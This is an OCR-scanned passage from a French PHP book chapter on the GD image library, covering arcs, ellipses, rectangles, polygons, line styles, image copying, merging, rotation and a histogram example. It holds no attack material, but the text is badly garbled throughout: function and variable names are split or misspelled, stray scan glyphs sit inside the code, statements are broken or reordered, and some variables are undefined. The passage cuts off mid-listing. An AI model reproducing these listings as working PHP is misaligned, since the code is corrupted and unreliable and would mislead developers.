$centreY Ordonnee du centre de l'ellipse. 

$1 argeur Largeur de l'ellipse. 

$hauteur Hauteur de l'ellipse. 

$angl eDebut Angle en degres ou commencer le trace. correspond a 3 H, 90 a 6 H, 180 

a9H. 

$angl eFi n Angle en degres ou finir le trace. 

$coul eur Identifiant de la couleur de l'ellipse. 

$ style Permet de definir comment remplir l'arc de cercle; quatre valeurs 

combinables sont definies : IMG_ARC_PIE, lMG_ARC_CHORD, 
I MG_ARC_NO FILL, IMG_ARC_EDGED. Plutot que de decrire ces 
constantes, nous vous suggerons de regarder l'effet de ces styles sur 
l'exemple qui suit. 

retour TRUE. 
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Listing 13.7 : gdjarc.php 

<?php 

header("Content-type: image/png") ; 
$largeur = 290; 
$hauteur = 210; 

$image = imageCreate($largeur, $hauteur) ; 
$fond = imageColorAllocate($image, 200, 200, 200); 
$noir = imageColorAllocate($image, 0, 0, 0); 

imageFilledArc($image, 40, 25, 60, 30 , 0, 240, 

$noir, IMG_ARC_PIE); 
imageFilledArc($image, 110, 25, 60, 30, 90, 180, 

$noir, IMG_ARC_PIE); 
imageFilledArc($image, 180, 25, 60, 30, 180, 360, 

$noir, IMG_ARC_PIE); 
imageFilledArc($image, 250, 25, 30, 30, 0, 360, 

$noir, IMG_ARC_PIE); 
imageFilledArc($image, 40, 65, 60, 30 , 0, 240, 

$noir, IMG_ARC_CH0RD) ; 
imageFilledArc($image, 110, 65, 60, 30, 90, 180, 

$noir, IMG_ARC_CH0RD) ; 
imageFilledArc($image, 180, 65, 60, 30, 180, 360, 
$noir, IMG_ARC_CH0RD) ; 
"5 J3 imageFilledArc($image, 250, 65, 30, 30, 0, 360, 

u 1 ^ $noir, IMG_ARC_CH0RD) ; 

rag // IMG_ARC_NOFILL utilise tout seul revient a 

.— "■•= // utiliser imageArcQ au lieu de imageFilledArc() 

as E imageFilledArc($image, 40, 105, 60, 30 , 0, 240, 

~\ i $noir, IMG_ARC_NOFILL) ; 

" imageFilledArc($image, 110, 105, 60, 30, 90, 180, 

$noir, IMG_ARC_NOFILL) ; 
imageFilledArc($image, 180, 105, 60, 30, 180, 360, 

$noir, IMG_ARC_NOFILL) ; 
imageFilledArc($image, 250, 105, 30, 30, 0, 360, 

$noir, IMG_ARC_NOFILL) ; 
imageFilledArc($image, 40, 145, 60, 30 , 0, 240, 

$noir, IMG_ARC_EDGED) ; 
imageFilledArc($image, 110, 145, 60, 30, 90, 180, 

$noir, IMG_ARC_EDGED) ; 
imageFilledArc($image, 180, 145, 60, 30, 180, 360, 

$noir, IMG_ARC_EDGED) ; 
imageFilledArc($image, 250, 145, 30, 30, 0, 360, 

$noir, IMG_ARC_EDGED) ; 
// II est egalement possible de combiner les effets 
imageFilledArc($image, 40, 185, 60, 30 , 0, 240, 

$noir, IMG_ARC_EDGED | IMG_ARC_NOFILL) 
imageFilledArc($image, 110, 185, 60, 30, 90, 180, 

$noir, IMG_ARC_EDGED | IMG_ARC_NOFILL) 
imageFilledArc($image, 180, 185, 60, 30, 180, 360, 

$noir, IMG_ARC_EDGED | IMG_ARC_NOFILL) 
imageFilledArc($image, 250, 185, 30, 30, 0, 360, 
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$noir, IMG ARC EDGED | IMG ARC NOFILL) : 



imagePNG($image) ; 
imageDestroy ($image) ; 



>> 



3 httpi/flocalhost/BiblePHPscripts/ch... [TJfnjfx] 
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G 



Figure 13.6 : 

imageFilledArc ( ) 



imageEllipse() 

Permet de dessiner une ellipse ou un cercle (necessite GD 2 ou plus). 



Syntaxe 


boolean imageEl 1 i pse(resource $image, int $centreX, int 




$centreY, int $largeur, int $hauteur) 


$ image 


Identifiant de l'image sur laquelle dessiner l'ellipse. 


$centreX 


Abscisse du centre de l'ellipse. 


$centreY 


Ordonnee du centre de l'ellipse. 


$1 argeur 


Largeur de l'ellipse. 


$hauteur 


Hauteur de l'ellipse. 


$coul eur 


Identifiant de la couleur de l'ellipse. 


retour 


TRUE. 



imageFilledEllipse () 

Permet de dessiner une ellipse ou un cercle rempli (necessite GD 2 ou plus). 



Syntaxe 


boolean imageFi 1 1 edEl 1 i pse(resource $image, int $centreX, int 




$centreY, int $largeur, int $hauteur) 


$ image 


Identifiant de l'image sur laquelle dessiner l'ellipse. 


$centreX 


Abscisse du centre de l'ellipse. 


$centreY 


Ordonnee du centre de l'ellipse. 


$1 argeur 


Largeur de l'ellipse. 
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$hauteur 
$coul eur 



Hauteur de l'ellipse. 

Identifiant de la couleur de l'ellipse. 



retour 



TRUE. 



Listing 13.8 : gd fellipse.php 

<?php 

header("Content-type: image/png") ; 
$largeur = 290; 
$hauteur = 50; 

$image = imageCreate($largeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 

imageFi 1 1 edEl 1 ipse($image, 40, 25, 60, 30, $noir); 

imageFi 1 1 edEl 1 ipse($image, 110, 25, 60, 10, $noir); 

imageFilledEllipse($image, 180, 25, 10, 30, $noir); 

imageFilledEllipse($image, 250, 25, 30, 30, $noir); 

imagePNG($image) ; 
imageDestroy ($image) ; 




?> 




Figure 13.7 : 

imageFilledArc ( ) 
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— I • 



imageRectangle() 



Permet de dessiner un rectangle. 



$xl 

$yi 
$x2 
$y2 



$couleur 



Syntaxe 



$ image 



boolean imageRectangle(resource $image, int $xl, int $yl, int 
$x2, int $y2, int $couleur) 

Identifiant de l'image sur laquelle dessiner le rectangle. 

Abscisse du point superieur gauche. 

Ordonnee du point superieur gauche. 

Abscisse du point inferieur droit. 

Ordonnee du point inferieur droit. 

Identifiant de la couleur du rectangle. 



retour 



TRUE. 
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Listing 13.9 : gd rectangle.php 

<?php 

header("Content-type: image/png") ; 
$largeur = 151; 
$hauteur = 50; 

$image = imageCreate($l argeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 

imageRectangle($image, 10, 10, 70, 40, $noir); 

imageRectangle($image, 80, 10, 110, 40, $noir); 

imageRectangle($image, 120, 10, 130, 40, $noir); 

imageRectangle($image, 140, 10, 141, 40, $noir); 

imagePNG($image) ; 
imageDestroy ($image) ; 

?> 



H http:fflocalho... Q[n][x] 



ODI 



Figure 13.8 : 

imageRectangle ( ) 



imageFilledRectangle () 

Permet de dessiner un rectangle plein 
Syntaxe 
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$ image 
$xl 
$yl 
$x2 

$y2 

$coul eur 
retour 



boolean imageFi 1 1 edRectangl e(resource $image, int $xl, int 
$yl, int $x2, int $y2, int $couleur) 

Identifiant de l'image sur laquelle dessiner le rectangle plein. 

Abscisse du point superieur gauche. 

Ordonnee du point superieur gauche. 

Abscisse du point inferieur droit. 

Ordonnee du point inferieur droit. 

Identifiant de la couleur du rectangle. 

TRUE. 



Listing 13.10 : gd frectangle.php 

<?php 

header("Content-type: image/png") ; 
$largeur = 151; 
$hauteur = 50; 

$image = imageCreate($l argeur, $hauteur); 
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$fond = imageColorAllocate($image, 200, 200, 200); 
$noir = imageColorAllocate($image, 0, 0, 0); 

imageFilledRectangle($image, 10, 10, 70, 40, $noir); 

imageFilledRectangle($image, 80, 10, 110, 40, $noir); 

imageFilledRectangle($image, 120, 10, 130, 40, $noir); 

imageFilledRectangle($image, 140, 10, 141, 40, $noir); 



imagePNG($image) ; 
imageDestroy ($image) ; 

?> 
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Figure 13.9 : 

imageFilledRectangle ( ) 



imagePolygonQ 



eg Permet de dessiner un polygone d'au plus 256 points. 

™ j§ Syntaxe : boolean imagePolygon (resource $image, array $points, int 

aj ^ $nombrePoints, int $couleur) 

E .2 $ i mage Identifiant d'image sur laquelle dessiner un polygone. 

— CO 

§3 E $points Un tableau de points de la forme array ( $xl , $yl, $x2 , $y2...) 

— 1 "c 

co 03 $nombrePoints Nombre de points du polygone (done generalement la moitie de la taille du 

tableau $points). 

$couleur Identifiant de la couleur du polygone, lMG_COLOR_BRUSHED (voir 

imageSetBrushO), IMG_COLOR_STYLED (voir 

imageSetStyle ( ) ) ou IMG_COLOR_STYLEDBRUSHED. 

Retour true. 



Listing 13.11 : gd polygone.php 

<?php 

header("Content-type: image/png") ; 
$largeur = 151; 
$hauteur = 50; 

$image = imageCreate($largeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 



imagepolygon($image, array(10, 10, 70, 10, 70, 40, 10, 40), 4, $noir); 
imagePolygon($image, array(80, 10, 90, 30, 100, 15, 140, 10, 110, 40, 

80, 35, 82, 17), 7, $noir); 
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imagePNG($image) ; 
imageDestroy ($image) ; 



>> 



3 http:fflocalh... Q[n][x] 
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Figure 13.10 : 

!' I imagePolygonQ 



imageFilledPolygon () 



Permet de dessiner un polygone plein d'au plus 256 points. 

Syntaxe boolean imageFi 1 1 edPolygon (resource $image, array $points, int 

$nombrePoints, int $couleur) 

$ i mage Identifiant de l'image sur laquelle dessiner un polygone. 

$points Un tableau de points de la forme array ( $xl , $yl, $x2 , $y2... ). 

$nombrePoints Nombre de points du polygone (generalement la moitie de la taille du 
tableau $points). 

$couleur Identifiant de la couleur de remplissage du polygone ou 

IMG_COLOR_TILED (voir imageSetTile ( ) ). 

retour TRUE. 

Listing 13.12 : gdf polygon. php 

<?php 

header("Content-type: image/png") ; 
$largeur = 151; 
$hauteur = 50; 

$image = imageCreate($l argeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 

imageFilledPolygon($image, array(10, 10, 70, 10, 70, 40, 10, 40), 4, $noir); 
imageFilledPolygon($image, array(80, 10, 90, 30, 100, 

15, 140, 10, 110, 40, 80, 35, 82, 17), 7, $noir); 

imagePNG($image) ; 
imageDestroy ($image) ; 

?> 
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Figure 13.11 : 

imageFilledPolygon ( ) 
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Voici un script utilisant routes ces fonctions : 

Listing 13.13 : gd_05.php 

<?php 

header("Content-type: image/png") ; 
$largeur = 290; 
$hauteur = 170; 

$image = imageCreate($largeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 

imageArc($image, 40, 25, 60, 30 , 0, 240, $noir); 
imageFi"lledEllipse($image, 110, 25, 60, 30, $noir); 
//imageEllipse($image, 180, 40, 60, 30, $noir); 

imageFilledArc($image, 40, 65, 60, 30 , 0, 240, $noir, IMG_ARC_PIE) ; 

imageFi"lledArc($image, 110, 65, 60, 30 , 0, 240, $noir, IMG_ARC_CH0RD) ; 

imageFilledArc($image, 180, 65, 60, 30 , 0, 240, $noir, IMG_ARC_N0FILL) ; 

imageFilledArc($image, 250, 65, 60, 30 , 0, 240, $noir, IMG_ARC_EDGED) ; 

imageRectangle($image, 10, 90, 70, 120, $noir); 
imageFilledRectangle($image, 80, 90, 140, 120, $noir); 

imagePolygon($image, array(10, 130, 20, 150, 30, 135, 70, 130, 

40, 160, 10, 155, 12, 137), 7, $noir); 

imageFilledPolygon($image, array(80, 130, 90, 150, 100, 135, 140, 130, 

110, 160, 80, 155, 82, 137), 7, $noir); 



imagePNG($image) ; 
imageDestroy ($image) ; 



?> 



3 httpifflocalhost/BiblePHPscripts/ch... 
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Figure 13.12 : 

Utilisation des fonctions de dessin 
geometrique 



1062 



Images (utilisation de la bibliotheque GD) 



Changer le type de trace 

II est possible de redefinir le type du crayon utilise lors du trace a l'aide de differentes 
methodes. 



imageSetBrushQ 



Permet de definir le pinceau utilise. Le pinceau etant une image, pour l'utiliser, il faut choisir 

img_color_brushed ou img_color_styledbrushed en guise de couleur. 

Syntaxe boolean imageSetBrush (resource $image, resource $pinceau) 

$ i mage Identifiant de l'image sur laquelle on veut redefinir le type de trace. 

$pi nceau Identifiant de l'image qui servira a tracer une ligne. 

retour TRUE. 



imageSetStyleO 



Permet de definir le style d'un trait a l'aide d'un tableau de couleurs. Pour utiliser ce type de 3' g> 

trait, il suffit de definir la couleur de trace comme etant la constante img_color_styled. =■ 

o 

= o> 

Syntaxe boolean imageSetStyle(resource $image, array $style) *° "S 

$ image Identifiant de l'image sur laquelle on veut appliquer le style de trait. « 2. 

$style Tableau de couleurs. S? 

retour TRUE. 

Voici un exemple tra§ant une ligne composee de deux pixels bleus, puis deux rouges, puis deux 
verts, deux bleus, deux rouges, etc. 

Listing 13.14 : gd setstyle.php 

<?php 

header("Content-type: image/png") ; 

$image = imagecreate(100, 100); 

$blanc = imageColorAllocate($im, 255, 255, 255); 

$bleu = imageColorAllocate($im, 0, 0, 255); 

$rouge = imageCol orAl 1 ocate($im, 255, 0, 0): 

$vert = imageColorAllocate($im, 0, 255, 0): 

$style = array($bleu, $bleu, $rouge, $rouge, $vert, $vert); 
imageSetStyle($image, $style); 

imageLine($image, 0, 0, 100, 100, IMG_C0L0R_STYLED) ; 
imagePNG($image) ; 



1063 



Chapitre 1 3 Les images et les animations Flash 



imageDestroy($image) ; 

?> 




Figure 13.13 : 

Le resultat agrandi 



imageSetTileQ 
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Permet de redefinir la facon de remplir une ellipse, un rectangle. . . L'image fournie est repetee 
pour remplir la surface. Pour utiliser ce type de remplissage par la suite, il suffit de passer la 
constante img_color_tiled comme couleur. 

Syntaxe boolean imageSetTi 1 e(resource $image, resource 

$imageRempl i ssage) 

$ i mage Identifiant de l'image sur laquelle on veut redefinir le remplissage. 

$imageRempl i ssage Identifiant de l'image qui servira a effectuer le remplissage de surface, 
retour TRUE. 

II est egalement possible de simplement definir l'epaisseur du trait : 



imageSetThickness 

Permet de redefinir l'epaisseur du trait en pixels. 

Syntaxe boolean imageSetThi ckness (resource $image, int $epaisseur) 

$ i mage Identifiant de l'image sur laquelle redefinir l'epaisseur du trait. 

$epaisseur Epaisseur du trait, 

retour TRUE. 



Listing 13.15 : gd setthickness.php 

<?php 

header("Content-type: image/png") ; 

$image = imageCreate(100, 100); 

$fond = imageCol orAl 1 ocate($image, 255, 255, 255); 

$noir = imageCol orAl 1 ocate($image ,0, 0, 0); 

imageSetThi ckness ($image, 10); 

imageLine($image, 0, 0, 100, 100, $noir); 

imagePNG($image) ; 

?> 
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Figure 13.14 

Le resultat 



Utiliser les couleurs 



Recuperer des couleurs 

II est possible de connaitre la couleur d'un pixel grace a la fonction imageColorAt ( ) . 



imageColorAt() 

Retourne l'identifiant de la couleur d'un pixel. 

Syntaxe int imageCol orAt (resource $image, int $x, int $y) -t 

03 ■ 

$image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 5. 

la famille de fonctions imageCreateFromXX ( ) . I> 

$x Abscisse du pixel. § l> 

$y Ordonnee du pixel. 2 v> 

OS CD 

retour Identifiant de la couleur. =■ — 

CD 

CO 

Copier des parties d'image 

II existe quelques fonctions qui permettent de copier des parties d'une image dans une autre. 



imageCopyO 



Cette fonction copie une partie d'image dans une autre. 

Syntaxe boolean imageCopy (resource $imageDest, resource $imageSource, 

int $xDest, int $yDest, int $xSource, int $ySource, int 
$1 argeurSource, int $hauteurSource) 

$imageDest Identifiant de l'image de destination. 

$imageSource Identifiant de l'image source. 

$xDest Abscisse sur l'image de destination. 

$yDest Ordonnee sur l'image de destination. 
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$xSource Abscisse sur I'image source. 

$ySource Ordonnee sur I'image source. 

$1 argeurSource Largeur du morceau d'image a recuperer. 

$hauteurSource Hauteur du morceau d'image a recuperer. 

retour true. 



Listing 13.16 : gd copy.php 

<?php 

header("Content-type: image/png") ; 

$imagel = imageCreateFromJpeg("Thumbnailadrien.jpg") 

$image2 = imageCreateTrueColor(60,80) ; 

imageCopy($image2, $imagel, 0, 0, 30, 40, 60, 80); 

imagePNG($image2) ; 

imageDestroy ($imagel) ; 

imageDestroy ($image2) ; 

?> 
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Figure 13.15 : 

Thumbnailadrien.jpg 



Figure 13.16 : 

Partie de I'image 
copiee 



REMARQUE 



Format source et destination 

Ilfaut imperativement copier une image TrueColor dans une autre image TrueColor, 
ou cela entrainera la panne du serveur. De maniere generate, on ne peut copier une 
image que dans une autre de meme type. imageCreateFromJpeg ( ) cree une image 
TrueColor. 



imageCopyMerge() 

Cette fonction permet de copier une image dans une autre et de les fusionner selon un 
coefficient. 

Syntaxe boolean imageCopyMerge(resource $imageDest, resource 

$imageSource, int $xDest, int $yDest, int $xSource, int 
$ySource, int $1 argeurSource, int $hauteurSource, int 
$coeff i cientTransparence) 
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$imageDest 

$imageSource 

$xDest 

$yDest 

$xSource 

$ySource 



Abscisse sur l'image de destination. 
Ordonnee sur l'image de destination. 
Abscisse sur l'image source. 



Identifiant de l'image de destination. 
Identifiant de l'image source. 



Ordonnee sur l'image source. 



$1 argeurSource Largeur du morceau d'image a recuperer. 
$hauteurSource Hauteur du morceau d'image a recuperer. 

$coef f i ci entTransparence C'est le coefficient qui permettra de mettre une des deux images en avant. 

II est compris entre et 100 ; n'aura aucun effet, alors qu'utiliser 100 
reviendra a utiliser la fonction imageCopy ( ) . 

retour TRUE. 

Le script suivant utilise la fonction imageCopyMerge ( ) . II suffit de lui passer en parametre le 
coefficient de transparence pour avoir l'image Thumbnailadriencopy.jpg sur avion.jpg. 

Listing 13.17 : gd copymerge.php 



Et voici une page HTML qui fait appel quatre fois a ce script en variant le coefficient de 
transparence. 

Listing 13.18 : gd_copymerge.html 

<html> 

<headxti tl e>ImageCopyMerge ()</ti tl ex/head> 
<body> 
<tabl e> 
<tr> 

•ctdximg src="cl3-copymerge.php?coef=0" /></td> 
<tdximg src="cl3-copymerge.php?coef=25" /x/td> 
<tdximg src="cl3-copymerge.php?coef=50" /x/td> 
<tdximg src="cl3-copymerge.php?coef=100" /x/td> 
</tr> 

<tr al ign="center"> 
<td>0</td> 
<td>25</td> 



<?php 



header("Content-type: image/png") ; 

$imagel = imageCreateFromJpeg("Thumbnai 1 adriencopy.jpg") ; 
$image2 = imageCreateFromJpeg("avion. jpg") ; 
imageCopyMerge($image2, $imagel, 75, 0, 0, 0, 60, 



80, $_GET["coef"]); 



imagePNG($image2) ; 
imageDestroy ($imagel) ; 
imageDestroy ($image2) ; 



?> 
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<td>50</td> 
<td>100</td> 
</tr> 
</tabl e> 
</body> 
</html> 



3 lmageCopyMerge() - Microsoft Internet Explorer 
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Figure 13.17 : 

Quelques exemples 
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imageCopyMergeGrayO 



Cette fonction permet de copier une image dans une autre et de les fusionner selon un 
coefficient, tout en transformant les pixels de destination en noir et blanc. 



Syntaxe 



$imageDest 

$imageSource 

$xDest 

$yDest 

$xSource 

$ySource 

$1 argeurSource 

$hauteurSource 

$coefficient 
Transparence 



boolean imageCopyMergeGray (resource $imageDest, resource 
$imageSource, int $xDest, int $yDest, int $xSource, int 
$ySource, int $1 argeurSource, int $hauteurSource, int 
$coeff i cientTransparence) 

Identifiant de l'image de destination. 

Identifiant de l'image source. 

Abscisse sur l'image de destination. 

Ordonnee sur l'image de destination. 

Abscisse sur l'image source. 

Ordonnee sur l'image source. 

Largeur du morceau d'image a recuperer. 

Hauteur du morceau d'image a recuperer. 

C'est le coefficient qui permettra de mettre une des deux images en avant. 
II est compris entre et 100 ; n'aura aucun effet, alors qu'utiliser 100 
reviendra a utiliser la fonction imageCopy ( ) . 



retour 



TRUE. 
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imageCopyResized () 



Cette fonction permet de recopier et de changer la taille de la selection. 

Syntaxe boolean imageCopyResized(resource $imageDest, resource 

$imageSource, int $xDest, int $yDest, int $xSource, int 
$ySource, int $1 argeurDest, int $hauteurDest, int 
$1 argeurSource, int $hauteurSource) 

SimageDest Identifiant de l'image de destination. 

$imageSource Identifiant de l'image source. 

$xDest Abscisse sur l'image de destination. 

$yDest Ordonnee sur l'image de destination. 

$xSource Abscisse sur l'image source. 

$ySource Ordonnee sur l'image source. 

$1 argeurDest Largeur du morceau d'image apres transformation. 

$hauteurDest Hauteur du morceau d'image apres transformation. 

$1 argeurSource Largeur du morceau d'image a recuperer. 

$hauteurSource Hauteur du morceau d'image a recuperer. 

retour TRUE. 



Le script suivant deforme une image : 

Listing 13.19 : gd copyresized.php 

<?php 

header("Content-type: image/png") ; 

$imagel = imageCreateFromJpeg("avion. jpg") ; 

$image2 = imageCreateTrueCol or(200, 100) ; 

imageCopyResized($image2, $imagel, 0, 0, 0, 0, 200, 

imagePNG($image2) ; 

imageDestroy ($imagel) ; 

imageDestroy ($image2) ; 
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100, 135, 180); 




Figure 13.18 : 

L'image de test 



Figure 13.19 

Le resultat 
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imageCopyResampled () 



CO 
03 

■s j 

C/3 II 
CD 

ro = 

E -2 

— CO 

CD t= 



Cette fonction permet de recopier et de changer la taille de la selection en utilisant une 
methode non pixelisee, contrairement a imageCopyResize ( ) . 



Syntaxe 



$imageDest 

$imageSource 

$xDest 

$yDest 

$xSource 

$ySource 

$1 argeurDest 

$hauteurDest 

$1 argeurSource 

$hauteurSource 

retour 



boolean imageCopyResampled(resource $imageDest, resource 
$imageSource, int $xDest, int $yDest, int $xSource, int 
$ySource, int $largeurDest, int $hauteurDest, int 
$1 argeurSource, int $hauteurSource) 

Identifiant de l'image de destination. 

Identifiant de l'image source. 

Abscisse sur l'image de destination. 

Ordonnee sur l'image de destination. 

Abscisse sur l'image source. 

Ordonnee sur l'image source. 

Largeur du morceau d'image apres transformation. 

Hauteur du morceau d'image apres transformation. 

Largeur du morceau d'image a recuperer. 

Hauteur du morceau d'image a recuperer. 

TRUE. 



Le script suivant deforme une image : 

Listing 13.20 : gd copyresampled.php 

<?php 

header("Content-type: image/png") ; 
$imagel = imageCreateFromJpeg("avion. jpg") 
$image2 = imageCreateTrueColor(200,100) ; 
imageCopyResampled($image2, $imagel, 0, 0, 
imagePNG($image2) ; 
ImageDestroy ($imagel) ; 
ImageDestroy ($image2) ; 

?> 



0, 0, 200, 100, 135, 180); 




Figure 13.20 : 

L'image de test 



Figure 13.21 

Le resultat 
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Pour copier une image avec un fond transparent sur une autre image, il faut copier non 
seulement les couleurs, mais aussi les canaux alpha. La fonction imageAlphaBlending ( ) 
permet de le faire. 



imageAlphaBlending () 



Cette fonction permet de modifier la facon dont seront melangees les couleurs d'une image lors 
d'une copie. 

Syntaxe boolean imageAlphaBlending (resource $image, boolean 

$canauxAl pha) 

$ i mage Identifiant de l'image sur laquelle on veut modifier cette propriete. 

$canauxAl pha TRUE pour garder les canaux alpha, FALSE sinon. Par defaut, lors de la 

copie, les canaux alpha sont ignores. 

retour TRUE. 



Listing 13.21 : gd alpha.php 

<?php 

$photo = imageCreateFromJPEGCThumbnailadrien.jpg 1 ); 
imageAlphaBlending($photo, true) ; 
$logo = imageCreateFromPNG( ' 1 ogo.png 1 ) ; 
imageCopy($photo, $logo, 10, 120, 0, 0, 50, 30); 
imagePNG($photo) ; 
imageDestroy ($photo) ; 
imageDestroy($logo) ; 
?> 
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Figure 13.22 : 

Resultat du script 



En demandant a garder les informations des canaux alpha, le fond transparent du logo a ete 
conserve. 

II est possible depuis PHP 4.3.0 de tourner une image d'un angle quelconque, cela se fait tres 
simplement grace a la fonction imagerotate ( ) . 
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ImageRotateQ 



Permet de tourner une image. 

Syntaxe : resource imageRotate(resource $imageSource, float $angle, int 

$coul eurFond) 

$imageSource Image a tourner. 

$angle Angle selon lequel on veut tourner l'image (dans le sens inverse des 

aiguilles d'une montre) 

$coul eurFond Couleur de remplissage du fond. 

retour L'image tournee de Tangle voulu avec un fond de couleur 

$coul eurFond. 

Voici un petit exemple de rotation d'une image de 30 degres. 
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Listing 13.22 : gdjmagerotate.php 

<?php 

header("Content-type: image/jpeg") ; 

$image = imageCreateFromJPEG("ni ki . jpg") ; 

$fondbleu = imageColorAllocate($image, 100, 100, 255); 

$image = imageRotate($image,30,$fondbleu) ; 

imageJPEG($image) ; 

?> 



Figure 13.23 : 

Image tournee 




Taille d'une image 

II existe deux fonctions permettant de recuperer la largeur et la hauteur d'une image : ce sont 
les fonctions imagesxo et imageSY(). Elles prennent toutes les deux comme parametre 
l'identifiant d'une image : 



imageSX() 

Retourne la largeur de l'image. 

Syntaxe int imageSX(resource $image) 
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$image Identifiant de l'image tel que retourne par la fonction imageCreate ( ) 

et la famille de fonctions imageCreateFromXX ( ) . 
retour Largeur de l'image (en pixels). 



imageSY() 

Retourne la hauteur de l'image. 

Syntaxe int imageSX(resource $image) 

$image Identifiant de l'image tel que retourne par la fonction imageCreate ( ) 

et la famille de fonctions imageCreateFromXX ( ) . 
retour Hauteur de l'image (en pixels). 

Un exemple : l'histogramme 

Nous allons effectuer, etape par etape, un script capable de dessiner dynamiquement un 
histogramme affichant la consommation de differents alcools (en litres) par Frangais. 

Etape 1 

A cette etape, nous allons simplement definir une image de fond : 



Listing 13.23 : gdjiistol.php 

<?php 

header("Content-type: image/png") ; 

$image = imageCreateFromJPEGCfondhisto.jpg"); 

imagePNG($image) ; 

imageDestroy ($image) ; 

?> 

Ici, nous recuperons simplement l'image fondhisto.jpg, qui sera l'image de fond de 
l'histogramme. 
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Figure 13.24 

*r Etape 1 
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Etape2 

Nous allons maintenant ajouter un titre : 

Listing 13.24 : gd_histo2.php 

<?php 

header("Content-type: image/png") ; 

$image = imageCreateFromJPEG("fondhisto.jpg") ; 

$largeur = imageSX($image) ; 

$hauteur = imageSY($image) ; 

$fontTitre = 5; 

$rouge = imageCol orAl 1 ocate($image, 255, 0, 0); 
$titre = "Consommation alcool"; 
imageStri ng($ image, $fontTi tre, 

($largeur-ImageFontWidth($fontTitre)*strlen("$titre"))/2, 

0, $titre, $rouge) ; 
imagePNG($image) ; 
imageDestroy ($image) ; 

?> 

A partir du script de l'etape 1, nous recuperons la largeur et la hauteur de l'image, puis nous 
v> definissons une police d'ecriture parmi les cinq mises a disposition par PHP. Nous allouons une 

— ■= nouvelle couleur, puis nous prenons soin d'afficher le texte centre sur l'image. 



as co 




Figure 13.25 : 

Etape 2 



Etape 3 

Maintenant, nous allons tracer les rectangles. Nous avons choisi de passer les donnees dans 
l'adresse de la forme : 

c!3-hi sto.php?val eurl; 1 ibel 1 el;val eur2; 1 ibel 1 e2;val eur3; 1 ibel 1 e3... 
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Listing 13.25 : gd_histo3.php 

<?php 

header("Content-type: image/png") ; 

$image = imageCreateFromJPEG("fondhisto. jpg") ; 

$largeur = imageSX($image) ; 

$hauteur = imageSY($image) ; 

$fontTitre = 5; 

$rouge = imageColorAllocate($image, 255, 0, 0); 

$coul eur_barre = imageColorAllocate($iinage, 0,255,0) ; 
$titre = "Consommation alcool"; 

imageStri ng ($ image, $fontTi tre, 

($largeur-ImageFontWidth($fontTitre)*strlen("$titre"))/2, 

0, $titre, $rouge); 

$valeurs = explode(";", $argv[0]); 

$largeurBarre = (int) ( ($1 argeur)/(l .5*sizeof ($val eurs)/2+0.5)) ; 
$max = 0; 

for ($i=0; $i<sizeof ($valeurs)/2; $i++) { 
if ($valeurs[$i*2]>$max) $max = $valeurs[$i*2] ; 

} 

for ($i=0;$i<sizeof ($valeurs)/2;$i++) { 
$x = (int) ($largeurBarre*(0.5+$i*1.5)); 

$hauteurBarre = (int) (($valeurs[$i*2]*($hauteur-40))/$max) ; 
$imageBarre = imageCreate($largeurBarre, $hauteurBarre) ; 



3 * 



$fondTemporai re = imageColorAllocate($imageBarre, 255, 255, 255); £2. — ■ 

imageCopyMerge($image, $imageBarre, $x, 5" 3 

$hauteur-15-$hauteurBarre, « ro 
0, 0, $1 argeurBarre, $hauteurBarre, 70) 
imageDestroy ($imageBarre) ; 

1 CD 

} V 

imagePNG($image) ; 
imageDestroy ($fondBarre) ; 
imageDestroy ($image) ; 



CO 

OS CD 
CO — 



Apres avoir recupere les valeurs passees de l'URL dans un tableau, nous calculons la largeur en 
pixels que devra avoir chacune des barres. Ensuite, afin d'exploiter au mieux l'espace vertical, 
il faut rechercher la valeur maximale parmi celles fournies. 

La seconde boucle for dessine un a un les rectangles de l'liistogramme. 

Nous avons choisi ici de definir une image pour chacun des rectangles, afin de pouvoir faire un 
effet de transparence grace a imageCopyMerge ( ) . 
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3 http://localhost/BiblePHPsc 



Fichier Edition Affichage Favoris ( w j' 




Figure 13.26 : 

Etape 3 

cl3-histo3.php?60;vin;39.6;biere;2.4;spiritueux;8.6;cidre 



Etape 4 



CO 
03 

■s j 

C/3 II 
CD 

ro = 

E -2 

— CO 

CD t= 



Pour ce script final, nous utiliserons une petite image PNG qui est un degrade allant du vert au 
transparent. 

Par rapport au script precedent, l'image des barres est passee en TrueColor'. 

Listing 13.26 : gd_histo4.php 

<?php 

header("Content-type: image/png") ; 

$image = imageCreateFromJPEG("fondhisto.jpg") ; 

$largeur = imageSX($image) ; 

$hauteur = imageSY($image) ; 

$fontTitre = 5; 

$rouge = imageCol orAl 1 ocate($image, 255, 0, 0); 
$coul eur_barre = imageColorAl 1 ocate($image,0, 255,0) ; 
$titre = "Consommation alcool"; 
imageStri ng($ image, $fontTi tre, 

($1 argeur-ImageFontWi dth ($f ontTi tre) *strl en ("$ti tre") ) /2, 

0, $titre, $rouge); 



$valeurs = explode(";", $argv[0]); 

$largeurBarre = (int) (($largeur)/(1.5*sizeof ($valeurs)/2+0.5)) ; 
$max = 0; 

for ($i=0; $i<sizeof ($valeurs)/2; $i++) { 
if ($valeurs[$i*2]>$max) $max = $val eurs [$i *2] ; 



$fondBarre = imageCreateFromPNG("barhisto.png") ; 

for ($i=0;$i<sizeof ($valeurs)/2;$i++) { 

$x = (int) ($largeurBarre*(0.5+$i*1.5)) ; 

$hauteurBarre = (int) (($valeurs[$i*2]*($hauteur-40))/$max) ; 
$imageBarre = imageCreateTrueCol or($l argeurBarre, $hauteurBarre) ; 
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imageCopy ($imageBarre, $image, 0, 0, $x, 

$hauteur-15-$hauteurBarre, $1 argeurBarre, $hauteurBarre) ; 
imageAlphaBlending($imageBarre, true) ; 
imageCopyResampled($imageBarre, $fondBarre, 0, 0, 

0, 0, $1 argeurBarre, $hauteurBarre, imageSX($fondBarre) , 

imageSY($fondBarre)) ; 
imageCopyMerge($image, $imageBarre, $x, $hauteur-15-$hauteurBarre, 

